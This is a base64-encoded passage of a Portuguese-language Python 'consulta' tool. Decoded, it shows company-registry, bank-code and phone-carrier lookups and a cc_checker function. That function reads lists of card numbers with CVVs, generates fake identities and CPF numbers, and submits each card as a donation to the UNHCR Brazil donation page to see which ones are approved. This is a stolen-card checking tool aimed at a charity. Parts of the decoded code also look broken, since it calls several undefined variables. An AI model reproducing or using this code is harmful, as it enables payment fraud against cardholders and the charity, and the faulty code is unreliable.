mb3JtYXQoY25wal9kYXRhWydhYmVydHVyYSddKSkKICAgICAgICBwcmludCgiVGlwbzoge30iLmZvcm1hdChjbnBqX2RhdGFbJ3RpcG8nXSkpCiAgICAgICAgcHJpbnQoIkNhcGl0YWw6IHt9Ii5mb3JtYXQoY25wal9kYXRhWydjYXBpdGFsX3NvY2lhbCddKSkKICAgICAgICB0cnk6CiAgICAgICAgICAgIHByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09IikKICAgICAgICAgICAgcHJpbnQoInBlc3NvYWw6IHt9Ii5mb3JtYXQoY25wal9kYXRhWydxc2EnXVswXVsnbm9tZSddKSkKICAgICAgICAgICAgcHJpbnQoIkNhcmdvOiB7fSIuZm9ybWF0KGNucGpfZGF0YVsncXNhJ11bMF1bJ3F1YWwnXSkpCiAgICAgICAgZXhjZXB0OgogICAgICAgICAgICBwYXNzCiAgICAgICAgdHJ5OgogICAgICAgICAgICBwcmludCgicGVzc29hbDoge30iLmZvcm1hdChjbnBqX2RhdGFbJ3FzYSddWzFdWydub21lJ10pKQogICAgICAgICAgICBwcmludCgiQ2FyZ286IHt9Ii5mb3JtYXQoY25wal9kYXRhWydxc2EnXVsxXVsncXVhbCddKSkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHBhc3MKICAgICAgICB0cnk6CiAgICAgICAgICAgIHByaW50KCJQZXNzb2FsOiB7fSIuZm9ybWF0KGNucGpfZGF0YVsncXNhJ11bMl1bJ25vbWUnXSkpCiAgICAgICAgICAgIHByaW50KCJDYXJnbzoge30iLmZvcm1hdChjbnBqX2RhdGFbJ3FzYSddWzJdWydxdWFsJ10pKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcGFzcwogICAgZWxzZToKICAgICAgICB0cnk6CiAgICAgICAgICAgIHByaW50KGYne0N9W3tSfUVSUk9Se0N9XScgKyAne306IENOUEogSU5WQUxJRE8uJy5mb3JtYXQoY25wal9mb3JtYXR0ZWQpKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQoZid7Q31be1J9RVJST1J7Q31dIFNlbSBkYWRvcy4nKQogICAgICAgIGlmIGdlbiA9PSAnMSc6CiAgICAgICAgICAgIGRlbCBjbnBqX2RhdGEKICAgICAgICAgICAgZGVsIGNucGpfaW5wdXQKICAgICAgICAgICAgZGVsIGNucGpfZm9ybWF0dGVkCiAgICAgICAgICAgIHRhZ2FpbiA9ICcxJwogICAgICAgICAgICBwcmludChmJ3tDfVt7WX1pe0N9XVRlbnRhbmRvIG5vdmFtZW50ZS4uLicpCiAgICAgICAgICAgIHRpbWUuc2xlZXAoMykKICAgICAgICAgICAgY25waihrY3QsIHRva2VuLCBhbmltKQogICAgaWYgdGFnYWluID09ICcwJzoKICAgICAgICBwcmludChmIntDfVt7WX1pe0N9XSBERVNFSkEgUkVBTElaQVIgVU1BIE5PVkEgQ09OU1VMVEE/IikKICAgICAgICBwcmludChmIntDfVt7R30xe0N9XSBTaW0iKQogICAgICAgIHByaW50KGYie0N9W3tHfTJ7Q31dIE7Do28iKQogICAgICAgIGxvID0gaW5wdXQoJz09PT4gJykKICAgICAgICBpZiBsbyA9PSAnMScgb3IgbG8gPT0gJzAxJzoKICAgICAgICAgICAgY25waihrY3QsIHRva2VuLCBhbmltKQoKCmRlZiBiYW5rKGFuaW0pOgogICAgY2xlYXIoKQogICAgcHJpbnQoZid7Q317R317cmVzdWx0fXtDfScpCiAgICBwcmludChmIntDfVt7R31pe0N9XSBESUdJVEUgTyBDT0RJR08gQkFOQ0FSSU8iKQogICAgcHJpbnQoZiJ7Q31be0d9aXtDfV0gRXhlbXBsbzogMjYwIikKICAgIGJhbmtfaW5wdXQgPSBpbnB1dCgiPT09PT0+IikKICAgIGNsZWFyKCkKICAgIGlmIGFuaW0gPT0gJzEnOgogICAgICAgIHByaW50KGYne0N9W3tHfWl7Q31dIENvbnN1bHRhbmRvIGJhbmNvLicpCiAgICAgICAgdGltZS5zbGVlcCgxKQogICAgdHJ5OgogICAgICAgIHJlcSA9IHJlcXVlc3RzLmdldCgnaHR0cHM6Ly9icmFzaWxhcGkuY29tLmJyL2FwaS9iYW5rcy92MS97fScuZm9ybWF0KGJhbmtfaW5wdXQpKQoKICAgICAgICBiYW5rX2RhdGEgPSByZXEuanNvbigpCgogICAgICAgIGlmICdtZXNzYWdlJyBub3QgaW4gYmFua19kYXRhOgogICAgICAgICAgICBvcy5zeXN0ZW0oImZpZ2xldCBLSU5ZIikKICAgICAgICAgICAgcHJpbnQoIkPDs2RpZ28gYmFuY8OhcmlvOiB7fSIuZm9ybWF0KGJhbmtfZGF0YVsnY29kZSddKSkKICAgICAgICAgICAgcHJpbnQoIk5vbWU6IHt9Ii5mb3JtYXQoYmFua19kYXRhWyduYW1lJ10pKQogICAgICAgICAgICBwcmludCgiTm9tZSBjb21wbGV0bzoge30iLmZvcm1hdChiYW5rX2RhdGFbJ2Z1bGxOYW1lJ10pKQogICAgICAgICAgICBwcmludCgiSVNQQjoge30iLmZvcm1hdChiYW5rX2RhdGFbJ2lzcGInXSkpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgcHJpbnQoJ3t9OiBDw7NkaWdvIGJhbmPDoXJpbyBpbnbDoWxpZG8uJy5mb3JtYXQoYmFua19pbnB1dCkpCiAgICBleGNlcHQ6CiAgICAgICAgcHJpbnQoZid7Q31be1J9RVJST1J7Q31dRXJybyBubyBzZXJ2aWRvcicpCiAgICBwcmludChmIntDfVt7WX1pe0N9XSBERVNFSkEgQ09OU1VMVEFSIFVNIE5PVk8gQ09ESUdPIEJBTkNBUklPPyAiKQogICAgcHJpbnQoZiJ7Q31be0d9MXtDfV0gU2ltIikKICAgIHByaW50KGYie0N9W3tHfTJ7Q31dIE7Do28iKQogICAga2MgPSBpbnB1dCgiPT09PiAiKQogICAgaWYga2MgPT0gJzAxJyBvciBrYyA9PSAnMSc6CiAgICAgICAgYmFuayhhbmltKQoKZGVmIGNvbnN1bHRhb3BlcmFkb3JhKCk6CiAgICBwcmludChmJ3tDfXtHfXtyZXN1bHR9e0N9JykKICAgIHByaW50KGYne0N9W3tHfWl7Q31dIEV4ZW1wbG86IDQ4OTUyMDIxODI2JykKICAgIHByaW50KGYne0N9W3tZfWl7Q31dIExpbWl0ZSBkZSBjb25zdWx0YXM6IDYgY29uc3VsdGFzIHBvciBob3JhLicpCiAgICBwcmludChmJ3tDfVt7WX1pe0N9XSBEaWdpdGUgbyBudW1lcm8gY29tIERERC4nKQogICAgb3BfaW5wdXQgPSBpbnB1dCgiPT09PiIpCiAgICBjbGVhcigpCiAgICBwcmludChyZXN1bHQpCiAgICBoZWFkZXJzID0gewogICAgICAgICJVc2VyLUFnZW50IjogIk1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzE1XzQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS84My4wLjQxMDMuOTcgU2FmYXJpLzUzNy4zNiJ9CiAgICB0cnk6CiAgICAgICAgcmVxdWVzdCA9IHJlcXVlc3RzLmdldCgnaHR0cDovL2ZyZWUudGVsZWluLmNvbS5ici9zaXN0ZW1hL2NvbnN1bHRhX2pzb24ucGhwP2NoYXZlPXNlbmhhc2l0ZSZudW1lcm89JyArIG9wX2lucHV0LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaGVhZGVycz1oZWFkZXJzKQogICAgICAgIG9wX2RhdGEgPSByZXF1ZXN0Lmpzb24oKQogICAgZXhjZXB0OgogICAgICAgIHByaW50KGYne0N9W3tSfWl7Q31dIExpbWl0ZSBkZSBjb25zdWx0YXMgYXRpbmdpZG8nKQogICAgICAgIHByaW50KGYne0N9W3tZfWl7Q31dIERlc2VqYSBmYXplciB1bWEgbm92YSBjb25zdWx0YT8nKQogICAgICAgIHByaW50KCcxLlNpbScpCiAgICAgICAgcHJpbnQoJzIuTsOjbycpCiAgICAgICAgY2hvID0gaW5wdXQoIj09PT4iKQogICAgICAgIGlmIGNobyA9PSAnMScgb3IgY2hvID09ICcwMSc6CiAgICAgICAgICAgIGNvbnN1bHRhb3BlcmFkb3JhKCkKICAgICAgICBlbGlmIGNobyA9PSAnMicgb3IgY2hvID09ICcwMic6CiAgICAgICAgICAgIHBhc3MKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludChmJ3tDfVt7Un1FUlJPUntDfV0gT3DDp8OjbyBpbnbDoWxpZGEnKQogICAgb3BfZmluYWwgPSAnbnVsbCcKICAgIGlmIChvcF9kYXRhWydvcGVyYWRvcmEnXSkgPT0gJzU1MzAxNic6CiAgICAgICAgb3BfZmluYWwgPSAnQ0xBUk8nCiAgICBpZiAob3BfZGF0YVsnb3BlcmFkb3JhJ10pID09ICc1NTMwNzAnOgogICAgICAgIG9wX2ZpbmFsID0gJ09JJwogICAgaWYgKG9wX2RhdGFbJ29wZXJhZG9yYSddKSA9PSAnNTUzMDY2JzoKICAgICAgICBvcF9maW5hbCA9ICdORVhURUwnCiAgICBpZiAob3BfZGF0YVsnb3BlcmFkb3JhJ10pID09ICc1NTMxMDInOgogICAgICAgIG9wX2ZpbmFsID0gJ1RJTScKICAgIGlmIChvcF9kYXRhWydvcGVyYWRvcmEnXSkgPT0gJzU1MzA5Nyc6CiAgICAgICAgb3BfZmluYWwgPSAnVklWTycKICAgIGVsaWYgKG9wX2RhdGFbJ29wZXJhZG9yYSddKSA9PSAnOTknOgogICAgICAgIHByaW50KGYne0N9W3tSfSp7Q31dIE7Do28gZm9pIHBvc3PDrXZlbCBjb25zdWx0YXIgYSBvcGVyYWRvcmEnKQogICAgaWYgb3BfZmluYWwgPT0gJ251bGwnOgogICAgICAgIHByaW50KGYne0N9W3tSfSp7Q31dIE9wZXJhZG9yYSBpbnZhbGlkYS4nKQogICAgZWxzZToKICAgICAgICBwcmludChmJ3tDfVt7R30qe0N9XSBPcGVyYWRvcmE6JyArIG9wX2ZpbmFsKQogICAgIyBwcmludChvcF9kYXRhWydvcGVyYWRvcmEnXSkKICAgIHByaW50KGYne0N9W3tZfWl7Q31dIERlc2VqYSBmYXplciB1bWEgbm92YSBjb25zdWx0YT8nKQogICAgcHJpbnQoJzEuU2ltJykKICAgIHByaW50KCcyLk7Do28nKQogICAgY2hvID0gaW5wdXQoIj09PT4iKQogICAgaWYgY2hvID09ICcxJyBvciBjaG8gPT0gJzAxJzoKICAgICAgICBjb25zdWx0YW9wZXJhZG9yYSgpCiAgICBpZiBjaG8gPT0gJzInIG9yIGNobyA9PSAnMDInOgogICAgICAgIHBhc3MKICAgIGVsc2U6CiAgICAgICAgcHJpbnQoZid7Q31be1J9aXtDfV0gT3DDp8OjbyBpbnbDoWxpZGEnKQogICAgICAgIHRpbWUuc2xlZXAoMykKCgpkZWYgY2NfY2hlY2tlcih0b2tlbik6CiAgICB0cnk6CiAgICAgICAgbGlzdGEgPSBvcGVuKGlucHV0KGYne0N9Q2FtaW5obyBkYSBsaXN0YTogJyksICdyJykucmVhZCgpLnNwbGl0bGluZXMoKQogICAgZXhjZXB0OgogICAgICAgIGxpc3RhID0gMAogICAgICAgIHByaW50KGYne0N9W3tSfWl7Q31dIEVycm8sdmVyaWZpcXVlIHNlIMOpIHVtIGFycXVpdm8uJykKICAgICAgICB0aW1lLnNsZWVwKDMpCgogICAgaWYgbGlzdGEgPT0gMDoKICAgICAgICBwYXNzCiAgICBlbHNlOgogICAgICAgIGZvciBnZyBpbiBsaXN0YToKICAgICAgICAgICAgY2MgPSBnZy5zcGxpdCgnfCcpWzBdCiAgICAgICAgICAgIG1lcyA9IGdnLnNwbGl0KCd8JylbMV0KICAgICAgICAgICAgYW5vID0gZ2cuc3BsaXQoJ3wnKVsyXQogICAgICAgICAgICBjdnYgPSBnZy5zcGxpdCgnfCcpWzNdCgogICAgICAgICAgICBkYXRhID0gcmVxdWVzdHMuZ2V0KCdodHRwczovL2xvb2t1cC5iaW5saXN0Lm5ldC97fScuZm9ybWF0KGNjWzA6Nl0pKS5qc29uKCkKICAgICAgICAgICAgcGVzc29hID0gcmVxdWVzdHMuZ2V0KCdodHRwczovL3JhbmRvbXVzZXIubWUvYXBpLz9uYXQ9e30nLmZvcm1hdChkYXRhWydjb3VudHJ5J11bJ2FscGhhMiddKSkuanNvbigpCiAgICAgICAgICAgIGNwZiA9IHJlcXVlc3RzLmdldCgnaHR0cDovL2dlcmFkb3JhcHAuY29tL2FwaS92MS9jcGYvZ2VuZXJhdGU/dG9rZW49e30nLmZvcm1hdCh0b2tlblswXSkpLmpzb24oKQoKICAgICAgICAgICAgZW1haWxfcHJvdmlkZXIgPSBbIkBnbWFpbC5jb20iLCAiQG91dGxvb2suY29tIiwgIkB5YWhvby5jb20iLCAiQHRlcnJhLmNvbSJdCgogICAgICAgICAgICBlbWFpbCA9IChwZXNzb2FbJ3Jlc3VsdHMnXVswXVsnZmlyc3QnXSkgKyAiLiIgKyAocGVzc29hWydyZXN1bHRzJ11bMF1bJ2xhc3QnXSkgKyByYW5kb20uY2hvaWNlKAogICAgICAgICAgICAgICAgZW1haWxfcHJvdmlkZSkKCiAgICAgICAgICAgIHByaW50KCkKICAgICAgICAgICAgcHJpbnQoZid7Q31be0d9aXtDfV0gQ29uc3VsdGFuZG8gY2FydMOjbycpCiAgICAgICAgICAgIHByaW50KCdDYXJ0YW86IHt9Jy5mb3JtYXQoZ2cpKQogICAgICAgICAgICBwcmludCgnQmFuZGVpcmE6IHt9Jy5mb3JtYXQoZGF0YVsnc2NoZW1lJ10pKQogICAgICAgICAgICBwcmludCgnVGlwbzoge30nLmZvcm1hdChkYXRhWyd0eXBlJ10pKQogICAgICAgICAgICBwcmludCgnUGFpczoge30nLmZvcm1hdChkYXRhWydjb3VudHJ5J10pKQogICAgICAgICAgICBwcmludCgnQmFuY286IHt9Jy5mb3JtYXQoZGF0YVsnYmFuayddKSkKICAgICAgICAgICAgcHJpbnQoJ05pdmVsOiB7fScuZm9ybWF0KGRhdGFbJ2JyYW5kJ10pKQogICAgICAgICAgICBwcmludCgpCiAgICAgICAgICAgIHByaW50KGYne0N9W3tHfWl7Q31dIEdlcmFuZG8gcGVzc29hIGFsZWF0b3JpYScpCiAgICAgICAgICAgIHByaW50KCdOb21lOiB7fSB7fScuZm9ybWF0KHBlc3NvYVsncmVzdWx0cyddWzBdWydmaXJzdCddLCBwZXNzb2FbJ3Jlc3VsdHMnXVswXVsnbGFzdCddKSkKICAgICAgICAgICAgcHJpbnQoJ0dlbmVybzoge30nLmZvcm1hdChwZXNzb2FbJ3Jlc3VsdHMnXVswXVsnZ2VuZGVyJ10pKQogICAgICAgICAgICBwcmludCgnTmFzY2ltZW50bzoge30nLmZvcm1hdChwZXNzb2FbJ3Jlc3VsdHMnXVswXVsnZG9iJ11bJ2RhdGUnXVswOjEwXSkpCiAgICAgICAgICAgIHByaW50KCdDUEY6IHt9Jy5mb3JtYXQoY3BmWydudW1iZXJfZm9ybWF0dGVkJ10pKQogICAgICAgICAgICBwcmludCgnQ1BGIHNlbSBmb3JtYXRhw6fDo286IHt9Jy5mb3JtYXQoY3BmWydudW1iZXInXSkpCiAgICAgICAgICAgIHByaW50KCdFLW1haWw6IHt9Jy5mb3JtYXQoZW1haWwpKQogICAgICAgICAgICBwcmludCgnQ0VQOiB7fXt9Jy5mb3JtYXQocGVzc29hWydyZXN1bHRzJ11bMF1bJ2xvY2F0aW9uJ11bJ3Bvc3Rjb2RlJ10sICctMDAwJykpCiAgICAgICAgICAgIHByaW50KCdFbmRlcmXDp286IHt9Jy5mb3JtYXQocGVzc29hWydyZXN1bHRzJ11bMF1bJ2xvY2F0aW9uJ11bJ3N0cmVldCddWyduYW1lJ10pKQogICAgICAgICAgICBwcmludCgnQ2lkYWRlOiB7fScuZm9ybWF0KHBlc3NvYVsncmVzdWx0cyddWzBdWydsb2NhdGlvbiddWydjaXR5J10pKQogICAgICAgICAgICBwcmludCgnRXN0YWRvOiB7fScuZm9ybWF0KHBlc3NvYVsncmVzdWx0cyddWzBdWydsb2NhdGlvbiddWydzdGF0ZSddKSkKICAgICAgICAgICAgcHJpbnQoKQoKICAgICAgICAgICAgaGVhZGVyID0gewogICAgICAgICAgICAgICAgJ0hvc3QnOiAnZG9hci5hY251ci5vcmcnLAogICAgICAgICAgICAgICAgJ0Nvbm5lY3Rpb24nOiAna2VlcC1hbGl2ZScsCiAgICAgICAgICAgICAgICAnQ29udGVudC1MZW5ndGgnOiAnMTAzNicsCiAgICAgICAgICAgICAgICAnQ2FjaGUtQ29udHJvbCc6ICdtYXgtYWdlXHUwMDNkMCcsCiAgICAgICAgICAgICAgICAnT3JpZ2luJzogJ2h0dHBzOi8vZG9hci5hY251ci5vcmcnLAogICAgICAgICAgICAgICAgJ1VwZ3JhZGUtSW5zZWN1cmUtUmVxdWVzdHMnOiAnMScsCiAgICAgICAgICAgICAgICAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcsCiAgICAgICAgICAgICAgICAnVXNlci1BZ2VudCc6ICdNb3ppbGxhLzUuMCAoTGludXg7IEFuZHJvaWQgOTsgU00tTjk1MEYpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS83Ny4wLjM4NjUuMTE2IE1vYmlsZSBTYWZhcmkvNTM3LjM2IEVkZ0EvNDUuMDkuNC41MDgzJywKICAgICAgICAgICAgICAgICdTZWMtRmV0Y2gtTW9kZSc6ICduYXZpZ2F0ZScsCiAgICAgICAgICAgICAgICAnU2VjLUZldGNoLVVzZXInOiAnPzEnLAogICAgICAgICAgICAgICAgJ0FjY2VwdCc6ICd0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxXHUwMDNkMC45LGltYWdlL3dlYnAsaW1hZ2UvYXBuZywvO3FcdTAwM2QwLjgsYXBwbGljYXRpb24vc2lnbmVkLWV4Y2hhbmdlO3ZcdTAwM2RiMycsCiAgICAgICAgICAgICAgICAnU2VjLUZldGNoLVNpdGUnOiAnc2FtZS1vcmlnaW4nLAogICAgICAgICAgICAgICAgJ1JlZmVyZXInOiAnaHR0cHM6Ly9kb2FyLmFjbnVyLm9yZy9hY251ci9kb25hdGUuaHRtbCcsCiAgICAgICAgICAgICAgICAnQWNjZXB0LUVuY29kaW5nJzogJ2d6aXAsIGRlZmxhdGUsIGJyJywKICAgICAgICAgICAgICAgICdBY2NlcHQtTGFuZ3VhZ2UnOiAncHQtQlIscHQ7cVx1MDAzZDAuOSxlbi1VUztxXHUwMDNkMC44LGVuO3FcdTAwM2QwLjcnLAogICAgICAgICAgICAgICAgJ0Nvb2tpZSc6ICdST1VURUlEXHUwMDNkLnpvbGFCRVRBOyBfZ2NsX2F1XHUwMDNkMS4xLjc1MTgwNjIyOC4xNjA0MTEzMzExOyBfZ2FcdTAwM2RHQTEuMy45NzI4NDU2MTcuMTYwNDExMzMxMTsgX2dpZFx1MDAzZEdBMS4zLjEzMTUzMDIwNDMuMTYwNDExMzMxMTsgX2dhXHUwMDNkR0ExLjIuOTcyODQ1NjE3LjE2MDQxMTMzMTE7IF9naWRcdTAwM2RHQTEuMi4xMzE1MzAyMDQzLjE2MDQxMTMzMTE7IF91ZXRzaWRcdTAwM2Q2ZGYxN2E4MDFiMjUxMWViOTFiN2U5YjYyZWNkZGExNjsgX3VldHZpZFx1MDAzZDZkZjYwZjUwMWIyNTExZWJiOTcwNDc0NTMyN2EwNjMwOyBtX3Nlc1x1MDAzZDIwMjAxMDMxMDAwMTU0OyBtX2NudFx1MDAzZDA7IF90cV9pZC5UVi03MjA5Mjc2My0xLmM3OWJcdTAwM2QyNGQ3OWI5MzNmZjY3MDAxLjE2MDQxMTMzMTUuMC4xNjA0MTEzMzE1Li47IF9mYnBcdTAwM2RmYi4xLjE2MDQxMTMzMTY1MzYuMTE0NDgyMTcyNDsgX19xY2FcdTAwM2RQMC0xNzM2MTU3NDIyLTE2MDQxMTMzMTcxODEnCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmIHBlc3NvYVsncmVzdWx0cyddWzBdWydnZW5kZXInXSA9PSAnZmVtYWxlJzoKICAgICAgICAgICAgICAgIGdlbmRlciA9ICdGJwogICAgICAgICAgICBpZiBwZXNzb2FbJ3Jlc3VsdHMnXVswXVsnZ2VuZGVyJ10gPT0gJ21hbGUnOgogICAgICAgICAgICAgICAgZ2VuZGVyID0gJ00nCiAgICAgICAgICAgIGlmIGRhdGFbJ3R5cGUnXSA9PSAnY3JlZGl0JzoKICAgICAgICAgICAgICAgIHRpcG8gPSAnQycKICAgICAgICAgICAgaWYgZGF0YVsndHlwZSddID09ICdkZWJpdCc6CiAgICAgICAgICAgICAgICB0aXBvID0gJ0QnCiAgICAgICAgICAgIG5vbWUgPSBwZXNzb2FbJ3Jlc3VsdHMnXVswXVsnZmlyc3QnXSArIHBlc3NvYVsncmVzdWx0cyddWzBdWydsYXN0J10KCiAgICAgICAgICAgIGRvbmF0ZSA9ICdzdWNjZXNzVXJsPWh0dHBzJTNBJTJGJTJGZG9hci5hY251ci5vcmclMkZhY251ciUyRmFncmFkZWNpbWVudG8uaHRtbCUzRmQlM0RCUlBUMDBHRDAwJTI1MjBHZW5lcmFsJTI2ciUzRHRydWUlMjZhJTNEJTI0JTdCY29udmVydGVkQW1vdW50JTdEJTI2dCUzRCUyNCU3QnRyYW5zYWN0aW9uLnJlZmVyZW5jZUlEJTdEJTI2dSUzRCUyNCU3QnRyYW5zYWN0aW9uLm5hdGl2ZVJlc3BvbnNlJTdEJTI2bSUzRGNyZWRpdENhcmQlMjZ2JTNEZG9uYXRlJmVycm9yVXJsPWh0dHBzJTNBJTJGJTJGZG9hci5hY251ci5vcmclMkZhY251ciUyRmVycm9yLmh0bWwmcGZwc3JjPSZERVNDUklQVElPTj1Db20rT3MrUmVmdWdpYWRvcyZPTkxJTkVfRk9STT1CUlBUMDBHRDAwK0dlbmVyYWwmTEFOR1VBR0U9cHQmQ1VSUkVOQ1k9JyArIHBhaXMuZ2V0KAogICAgICAgICAgICAgICAgJ2N1cnJlbmN5JykgKyAnJkVYUERBVEU9JyArIG1lcyArIGFub1sxOjNdICsgJyZUQVhJRD0nICsgY3BmWwogICAgICAgICAgICAgICAgICAgICAgICAgJ251bWJlciddICsgJyZBTVQ9MzUmVFlQRT0nICsgdGlwbzIgKyAnJTJGJyArIGJhbmQgKyAnJlBBWVBFUklPRD1NT05UJlg9JkZJUlNUTkFNRT0nICsgXAogICAgICAgICAgICAgICAgICAgICBwZXNzb2FbJ3Jlc3VsdHMnXVswXVsnbmFtZSddWydmaXJzdCddICsgJyZMQVNUTkFNRT0nICsgcGVzc29hWydyZXN1bHRzJ11bMF1bJ25hbWUnXVsKICAgICAgICAgICAgICAgICAgICAgICAgICdsYXN0J10gKyAnJkVNQUlMPScgKyBlbWFpbC5yZXBsYWNlKCdAJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICclNDAnKSArICcmR0VOREVSPScgKyBnZW5kZXIgKyAnJkNVU1RPTV9LRVlfMT1iaXJ0aGRhdGUmQ1VTVE9NX0tFWV8yPWRldmljZSZDVVNUT01fVkFMVUVfMT0nICsgXAogICAgICAgICAgICAgICAgICAgICBwZXNzb2FbJ3Jlc3VsdHMnXVswXVsnZG9iJ11bJ2RhdGUnXVswOjEwXS5yZXBsYWNlKCcvJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnJTJGJykgKyAnJkNVU1RPTV9WQUxVRV8yPU1vYmlsZSZHSUZUX0NVU1RPTV9LRVlfMT1iaXJ0aGRhdGUmR0lGVF9DVVNUT01fS0VZXzI9ZGV2aWNlJkdJRlRfQ1VTVE9NX0tFWV8zPWVudHJ5cG9pbnQmR0lGVF9DVVNUT01fVkFMVUVfMT0nICsgXAogICAgICAgICAgICAgICAgICAgICBwZXNzb2FbJ3Jlc3VsdHMnXVswXVsnZG9iJ11bJ2RhdGUnXVswOjEwXS5yZXBsYWNlKCcvJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnJTJGJykgKyAnJkdJRlRfQ1VTVE9NX1ZBTFVFXzI9TW9iaWxlJkdJRlRfQ1VTVE9NX1ZBTFVFXzM9JTJGYWNudXIlMkZkb25hdGUuaHRtbCZTVFJFRVQ9JyArIFwKICAgICAgICAgICAgICAgICAgICAgcGVzc29hWydyZXN1bHRzJ11bMF1bJ2xvY2F0aW9uJ11bJ3N0cmVldCddWyduYW1lJ10ucmVwbGFjZSgnICcsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJysnKSArICcmU1RSRUVUMj0nICsgQ2VudHJvICsgJyZDSVRZPScgKyBcCiAgICAgICAgICAgICAgICAgICAgIHBlc3NvYVsncmVzdWx0cyddWzBdWydsb2NhdGlvbiddWydjaXR5J10ucmVwbGFjZSgnICcsICcrJykgKyAnJlNUQVRFPScgKyBwZXNzb2EoCiAgICAgICAgICAgICAgICBbJ3Jlc3VsdHMnXVswXVsnbG9jYXRpb24nXVsnc3RhdGUnXSkgKyAnJlpJUD0nICsgc3RyKAogICAgICAgICAgICAgICAgcGVzc29hWydyZXN1bHRzJ11bMF1bJ2xvY2F0aW9uJ11bJ3Bvc3Rjb2RlJ10pICsgJy0wMDAnICsgJyZDT1VOVFJZPScgKyBkYXRhWwogICAgICAgICAgICAgICAgICAgICAgICAgJ2NvdW50cnknXSArICcmUEhPTkVOVU09JTI4MTElMjkrOTg3NjUtNDMyMSZDQ1RZUEU9JyArIHRpcG8gKyAnJTJGJyArIGRhdGFbCiAgICAgICAgICAgICAgICAgICAgICAgICAnc2NoZW1lJ10gKyAnJkFDQ1Q9JyArIGNjICsgJyZOQU1FPScgKyBub21lLnJlcGxhY2UoJyAnLCAnKycpICsgJyZDVlYyPScgKyBjdnYKICAgICAgICAgICAgUlMgPSByZXF1ZXN0cy5yZXF1ZXN0KCdQT1NUJywgZG9uYXRlLCBoZWFkZXJzPWgsIGRhdGE9ZGF0YSkudXJsCiAgICAgICAgICAgIGlmIFJTID09ICdodHRwczovL2RvYXIuYWNudXIub3JnL2FjbnVyL2FncmFkZWNpbWVudG8uaHRtbCc6CiAgICAgICAgICAgICAgICBwcmludChmJ3tDfVt7R31pe0N9XSBQYWdhbWVudG8gYXV0b3JpemFkbyEnKQogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgUlMgPSBSUy5zcGxpdCgnPScpWzNdCiAgICAgICAgICAgICAgICBpZiBSUyA9PSAnUkVGVVNFRF9QQVlNRU5UJzoKICAgICAgICAgICAgICAgICAgICBwcmludChmJ3tDfVt7Un1FUlJPUntDfV0gVHJhbnNhw6fDo28gcmVjdXNhZGEuJykKICAgICAgICAgICAgICAgIGVsaWYgUlMgPT0gJ0RBVEFfSU5WQUxJRCc6CiAgICAgICAgICAgICAgICAgICAgcHJpbnQoZid7Q31be1J9RVJST1J7Q31dIENhcnTDo28gaW52YWxpZG8uJykKICAgICAgICAgICAgICAgIGVsaWYgUlMgPT0gJ0ZBSUxfVU5LTk9XTic6CiAgICAgICAgICAgICAgICAgICAgcHJpbnQoZid7Q31be1J9RVJST1J7Q31dIEVycm8gRGVzY29uaGVjaWRvICh7Un1wb3NzaXZlbCB1c28gZGUgY2FydGFvIGRlIERlYml0b3tDfSkuJykKICAgICAgICAgICAgICAgIGVsaWYgUlMgPT0gJ0VSUk9SX05FVFdPUksnOgogICAgICAgICAgICAgICAgICAgIHByaW50KGYne0N9W3tSfUVSUk9Se0N9XSBFcnJvIGRlIHJlZGUuJykKICAgICAgICAgICAgICAgIGVsaWYgUlMgPT0gJ0RBVEFfQ0FSRF9OT1RfQUxMT1dFRCc6CiAgICAgICAgICAgICAgICAgICAgcHJpbnQoZid7Q31be1J9RVJST1J7Q31dIFBhZ2FtZW50byBuYW8gYXV0b3JpemFkby4nKQogICAgICAgICAgICAgICAgZWxpZiBSUyA9PSAnUkVGVVNFRF9QUk9WSURFUic6CiAgICAgICAgICAgICAgICAgICAgcHJpbnQoZid7Q31be1J9RVJST1J7Q31dIFBhZ2FtZW50byByZWN1c2FkbyBwZWxhIHtZfXtiYW5kfXtDfS4nKQogICAgICAgICAgICAgICAgZWxpZiBSUyA9PSAnUkVGVVNFRF9CQU5LJzoKICAgICAgICAgICAgICAgICAgICBwcmludCgnW3t9RVJST1J7fV0gUmVjdXNhZG8gcGVsbyB7fXt9e30uJy5mb3JtYXQoUiwgQywgWSwgYmFuY28uZ2V0KCduYW1lJyksIEMpKQogICAgICAgICAgICAgICAgZWxpZiBSUyA9PSAnREFUQV9NSVNTSU5HJzoKICAgICAgICAgICAgICAgICAgICBwcmludChmJ3tDfVt7Un1FUlJPUntDfV0gQWxndW0gZGFkbyBmYWx0YW5kby4nKQogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBwcmludChmJ3tDfVt7Un1FUlJPUntDfV0gRXJybyBuw6NvIGxpc3RhZG8uJykKICAgICAgICAgICAgICAgIHBhdXNhID0gKCdQcmVzc2lvbmUgZW50ZXIgcGFyYSByZXRvcm5hci4nKQoKCmRlZiBnZXJhcmxpbmt3aGF0cygpOgogICAgY2xlYXIoKQogICAgcHJpbnQoZid7Q317R317cmVzdWx0fXtDfScpCiAgICBw